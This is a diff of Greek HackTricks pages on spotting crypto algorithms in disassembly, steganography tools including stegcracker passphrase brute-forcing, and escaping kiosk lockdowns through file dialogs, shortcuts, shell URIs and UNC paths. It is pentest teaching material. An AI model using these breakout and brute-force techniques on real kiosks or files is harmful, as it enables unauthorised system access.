* Πιο πολύπλοκο από τους συμμετρικούς αλγορίθμους
* Δεν υπάρχουν σταθερές! (η προσαρμογή προσαρμοσμένων υλοποιήσεων είναι δύσκολη)
Αποτελείται από 3 κύρια μέρη:
* **Στάδιο Αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (συνολικά 256 bytes, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox).
* **Στάδιο Ανακάτεμα**: Θα **επαναλάβει τον πίνακα** που δημιουργήθηκε πριν (επανάληψη 0x100 φορές, ξανά) τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για τη δημιουργία αυτών των ημι-τυχαίων bytes, χρησιμοποιείται το κλειδί του RC4. Τα κλειδιά του RC4 μπορεί να είναι **μεταξύ 1 και 256 bytes μήκους**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά του RC4 είναι 16 bytes μήκους.
* **Στάδιο XOR**: Τέλος, το καθαρό κείμενο ή το κρυπτοκείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για κρυπτογράφηση και αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί μια **επανάληψη μέσω των δημιουργημένων 256 bytes** όσες φορές χρειάζεται. Αυτό αναγνωρίζεται συνήθως σε έναν αποσυναρμολογημένο κώδικα με ένα **%256 (mod 256)**.
{% hint style="info" %}
**Για να αναγνωρίσετε ένα RC4 σε έναν κώδικα αποσυναρμολόγησης/αποσυναρμολογημένο κώδικα μπορείτε να ελέγξετε για 2 βρόχους μεγέθους 0x100 (με χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 βρόχους πιθανότατα χρησιμοποιώντας ένα %256 (mod 256)**
{% endhint %}
### **Στάδιο Αρχικοποίησης/Substitution Box:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων)
![](<../../.gitbook/assets/image (584).png>)
### **Στάδιο Ανακάτεμα:**
![](<../../.gitbook/assets/image (835).png>)
### **Στάδιο XOR:**
![](<../../.gitbook/assets/image (904).png>)
## **AES (Συμμετρική Κρυπτογραφία)**
### **Χαρακτηριστικά**
* Χρήση **πίνακες αντικατάστασης και πινάκων αναζήτησης**
* Είναι δυνατό να **διακριθεί το AES χάρη στη χρήση συγκεκριμένων τιμών πινάκων αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να **απο
## RSA **(Ασύμμετρη Κρυπτογράφηση)**
### Χαρακτηριστικά
* Πιο πολύπλοκη από τους συμμετρικούς αλγορίθμους
* Δεν υπάρχουν σταθερές! (η προσαρμοσμένη υλοποίηση είναι δύσκολο να προσδιοριστεί)
* Ο KANAL (ένας κρυπτοαναλυτής) αποτυγχάνει να εμφανίσει υποδείξεις για το RSA καθώς βασίζεται σε σταθερές.
### Αναγνώριση με συγκρίσεις
![](<../../.gitbook/assets/image (383).png>)
![](<../../.gitbook/assets/image (1113).png>)
* Στη γραμμή 11 (αριστερά) υπάρχει το `+7) >> 3` που είναι το ίδιο με τη γραμμή 35 (δεξιά): `+7) / 8`
* Στη γραμμή 11 (αριστερά) υπάρχει ένα `+7) >> 3` το οποίο είναι το ίδιο με τη γραμμή 35 (δεξιά): `+7) / 8`
* Η γραμμή 12 (αριστερά) ελέγχει αν `modulus_len < 0x040` και στη γραμμή 36 (δεξιά) ελέγχει αν `inputLen+11 > modulusLen`
## MD5 & SHA (κατακερματισμός)
@ -80,37 +128,37 @@
**Init**
Μπορείτε να αναγνωρίσετε και τα δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha\_init έχει 1 σταθερά που η MD5 δεν έχει:
Μπορείτε να αναγνωρίσετε και τα δύο ελέγχοντας τις σταθερές. Σημειώστε ότι το sha\_init έχει 1 σταθερά που το MD5 δεν έχει:
![](<../../.gitbook/assets/image (385).png>)
![](<../../.gitbook/assets/image (406).png>)
**Μετασχηματισμός MD5**
Σημειώστε τη χρήση περισσότερων σταθερών
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
![](<../../.gitbook/assets/image (253) (1) (1).png>)
## CRC (κατακερματισμός)
* Μικρότερο και πιο αποδοτικό καθώς η λειτουργία του είναι να εντοπίζει ατύχημα αλλαγές στα δεδομένα
* Χρησιμοποιεί πίνακες αναζήτησης (ώστε να μπορείτε να αναγνωρίσετε σταθερές)
* Μικρότερο και πιο αποδοτικό καθώς η λειτουργία του είναι να εντοπίζει τυχαίες αλλαγές στα δεδομένα
* Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές)
### Αναγνώριση
Ελέγξτε τις **σταθερές του πίνακα αναζήτησης**:
![](<../../.gitbook/assets/image (387).png>)
![](<../../.gitbook/assets/image (508).png>)
Ένας αλγόριθμος κατακερματισμού CRC φαίνεται όπως εξής:
Ένας αλγόριθμος κατακερματισμού CRC φαίνεται όπως:
![](<../../.gitbook/assets/image (386).png>)
![](<../../.gitbook/assets/image (391).png>)
## APLib (Συμπίεση)
### Χαρακτηριστικά
* Δεν υπάρχουν αναγνωρίσιμες σταθερές
* Μπορείτε να δοκιμάσετε να γράψετε τον αλγόριθμο σε Python και να αναζητήσετε παρόμοια πράγματα στο διαδίκτυο
* Δεν αναγνωρίσιμες σταθερές
* Μπορείτε να δοκιμάσετε να γράψετε τον αλγόριθμο σε Python και να αναζητήσετε παρόμοια πράγματα online
### Αναγνώριση
@ -120,18 +168,4 @@
Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**:
![](<../../.gitbook/assets/image (384).png>)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
![](<../../.gitbook/assets/image (430).png>)

View file

@ -1,22 +1,23 @@
# Stego Κόλπα
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ καταθέτοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Try Hard Security Group**
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,15 +27,15 @@
### **Binwalk**
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυμμένα αρχεία και δεδομένα. Εγκαθίσταται μέσω `apt` και ο πηγαίος κώδικάς του είναι διαθέσιμος στο [GitHub](https://github.com/ReFirmLabs/binwalk).
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυφά αρχεία και δεδομένα. Εγκαθίσταται μέσω του `apt` και ο πηγαίος κώδικάς του είναι διαθέσιμος στο [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
### **Κυριότερο**
Ανακτά αρχεία με βάση τα headers και footers τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
Ανακτά αρχεία με βάση τις κεφαλίδες και τα υποσένδοντα τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
@ -94,7 +95,7 @@ cmp original.jpg stego.jpg -b -l
```
### **Steghide για Απόκρυψη Δεδομένων**
Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό για την ενσωμάτωση και εξαγωγή κρυπτογραφημένων δεδομένων. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
**Εντολές:**
@ -105,7 +106,7 @@ cmp original.jpg stego.jpg -b -l
**Επίθεση Βίας με το Stegcracker:**
* Για να δοκιμάσετε την αποκρυπτογράφηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
* Για να δοκιμάσετε την αποκωδικοποίηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
```bash
stegcracker <file> [<wordlist>]
```
@ -120,7 +121,7 @@ stegcracker <file> [<wordlist>]
### **StegoVeritas και Stegsolve**
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με τη μέθοδο LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
Το **Stegsolve** εφαρμόζει διάφορα φίλτρα χρωμάτων για να αποκαλύψει κρυμμένα κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
@ -155,7 +156,19 @@ pngcheck stego.png
## **Εξαγωγή Δεδομένων από Ήχους**
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκάλυψη πληροφορι
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκάλυψη πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου.
### **Steghide (JPEG, BMP, WAV, AU)**
Το Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την απόκρυψη δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στο [έγγραφο με τα κόλπα της stego](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα του Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
Το ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας οποιεσδήποτε αντιφάσεις.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
@ -173,11 +186,11 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
### **Sonic Visualizer**
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε τη [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
### **DTMF Tones - Ήχοι Κλήσης**
Η ανίχνευση των ήχων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτό το [ανιχνευτή DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
Η ανίχνευση των τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτός ο [ανιχνευτής DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
## **Άλλες Τεχνικές**
@ -199,20 +212,21 @@ math.sqrt(2500) #50
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Διαφυγή από τα KIOSKs
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
@ -22,7 +23,7 @@
Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
@ -30,9 +31,9 @@
## Έλεγχος φυσικής συσκευής
| Συστατικό | Δράση |
| Συστατικό | Ενέργεια |
| ------------- | -------------------------------------------------------------------- |
| Κουμπί ενεργοποίησης | Η εναλλαγή της συσκευής on και off μπορεί να αποκαλύψει την οθόνη εκκίνησης |
| Κουμπί ενεργοποίησης | Η εναλλαγή της συσκευής ενεργοποίησης και απενεργοποίησης μπορεί να αποκαλύψει την οθόνη εκκίνησης |
| Καλώδιο τροφοδοσίας | Ελέγξτε εάν η συσκευή επανεκκινείται όταν αποσυνδέεται η τροφοδοσία εσπευσμένα |
| Θύρες USB | Συνδέστε φυσικό πληκτρολόγιο με περισσότερες συντομεύσεις |
| Ethernet | Η σάρωση δικτύου ή το sniffing μπορεί να ενεργοποιήσει περαιτέρω εκμετάλλευση |
@ -40,7 +41,7 @@
## Έλεγχος πιθανών ενεργειών μέσα στην εφαρμογή GUI
Οι **Κοινές Διάλογοι** είναι αυτές οι επιλογές για **αποθήκευση ενός αρχείου**, **ανοίγματος ενός αρχείου**, επιλογή γραμματοσειράς, χρώματος... Οι περισσότεροι από αυτούς θα **προσφέρουν πλήρη λειτουργικότητα Explorer**. Αυτό σημαίνει ότι θα μπορείτε να έχετε πρόσβαση σε λειτουργίες Explorer αν μπορείτε να έχετε πρόσβαση σε αυτές τις επιλογές:
Οι **Κοινές Διάλογοι** είναι αυτές οι επιλογές του **αποθήκευση ενός αρχείου**, **ανοίγματος ενός αρχείου**, επιλογής γραμματοσειράς, χρώματος... Οι περισσότεροι από αυτούς θα **προσφέρουν πλήρη λειτουργικότητα Explorer**. Αυτό σημαίνει ότι θα μπορείτε να έχετε πρόσβαση σε λειτουργίες Explorer αν μπορείτε να έχετε πρόσβαση σε αυτές τις επιλογές:
* Κλείσιμο/Κλείσιμο ως
* Άνοιγμα/Άνοιγμα με
@ -62,7 +63,7 @@
#### Windows
Για παράδειγμα _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ βρείτε περισσότερα δυαδικά που μπορούν να χρησιμοποιηθούν για την εκτέλεση εντολών (και εκτέλεση απροσδόκητων ενεργειών) εδώ: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Για παράδειγμα _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ βρείτε περισσότερα δυαδικά που μπορούν να χρησιμοποιηθούν για την εκτέλεση εντολών (και την εκτέλεση απροσδόκητων ενεργειών) εδώ: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
#### \*NIX \_\_
@ -70,15 +71,15 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
## Windows
### Παράκαμψη περιορισμών διαδρομών
### Παράκαμψη περιορισμών διαδρομής
* **Μεταβλητές περιβάλλοντος**: Υπάρχουν πολλές μεταβλητές περιβάλλοντος που δείχνουν σε κάποια διαδρομή
* **Άλλοι πρωτόκολλοι**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Συμβολικοί σύνδεσμοι**
* **Συντομεύσεις**: CTRL+N (ανοίγει νέα συνεδρία), CTRL+R (Εκτέλεση Εντολών), CTRL+SHIFT+ESC (Διαχειριστής Εργασιών), Windows+E (ανοίγει τον εξερευνητή), CTRL-B, CTRL-I (Αγαπημένα), CTRL-H (Ιστορικό), CTRL-L, CTRL-O (Διάλογος Αρχείου/Άνοιγμα), CTRL-P (Διάλογος Εκτύπωσης), CTRL-S (Αποθήκευση ως)
* Κρυφό μενού Διαχειριστή: CTRL-ALT-F8, CTRL-ESC-F9
* **URI κελύφους**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Διαδρομές UNC**: Διαδρομές για σύνδεση με κοινόχρηστους φακέλους. Θα πρέπει να δοκιμάσετε να συνδεθείτε στο C$ της τοπικής μηχανής ("\\\127.0.0.1\c$\Windows\System32")
* **URI κέλυφους**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **Διαδρομές UNC**: Διαδρομές για σύνδεση σε κοινόχρηστους φακέλους. Θα πρέπει να δοκιμάσετε να συνδεθείτε στο C$ της τοπικής μηχανής ("\\\127.0.0.1\c$\Windows\System32")
* **Περισσότερες διαδρομές UNC:**
| UNC | UNC | UNC |
@ -93,11 +94,11 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
### Λήψη των Δυαδικών Σας
### Λήψη των δυαδικών σας
Κονσόλα: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Εξερευνητής: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Επεξεργαστής μητρώου: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Επεξεργαστής καταχωρήσεων: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Πρόσβαση στο σύστημα αρχείων από τον περιηγητή
@ -117,7 +118,7 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
* High Contrast SHIFT+ALT+PRINTSCN
* Toggle Keys Κρατήστε πατημένο το NUMLOCK για 5 δευτερόλεπτα
* Filter Keys Κρατήστε πατημένο το δεξί SHIFT για 12 δευτερόλεπτα
* WINDOWS+F1 Αναζήτηση στα Windows
* WINDOWS+F1 Αναζήτηση Windows
* WINDOWS+D Εμφάνιση επιφάνειας εργασίας
* WINDOWS+E Εκκίνηση του Windows Explorer
* WINDOWS+R Εκτέλεση
@ -137,8 +138,8 @@ _bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](
### Swipes
* Σύρετε από την αριστερή πλευρά προς τη δεξιά για να δείτε όλα τα ανοιχτά παράθυρα, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση σε ολόκληρο το λειτουργικό σύστημα απευθείας.
* Σύρετε από τη δεξιά πλευρά προς την αριστερή για να ανοίξετε το Κέντρο Δράσης, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση σε ολόκληρο το λειτουργικό σύστημα απευθείας.
* Σύρετε από την αριστερή πλευρά προς τη δεξιά για να δείτε όλα τα ανοιχτά παράθυρα, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση απευθείας σε ολόκληρο το λειτουργικό σύστημα.
* Σύρετε από τη δεξιά πλευρά προς την αριστερή για να ανοίξετε το Κέντρο Δράσης, ελαχιστοποιώντας την εφαρμογή KIOSK και έχοντας πρόσβαση απευθείας σε ολόκληρο το λειτουργικό σύστημα.
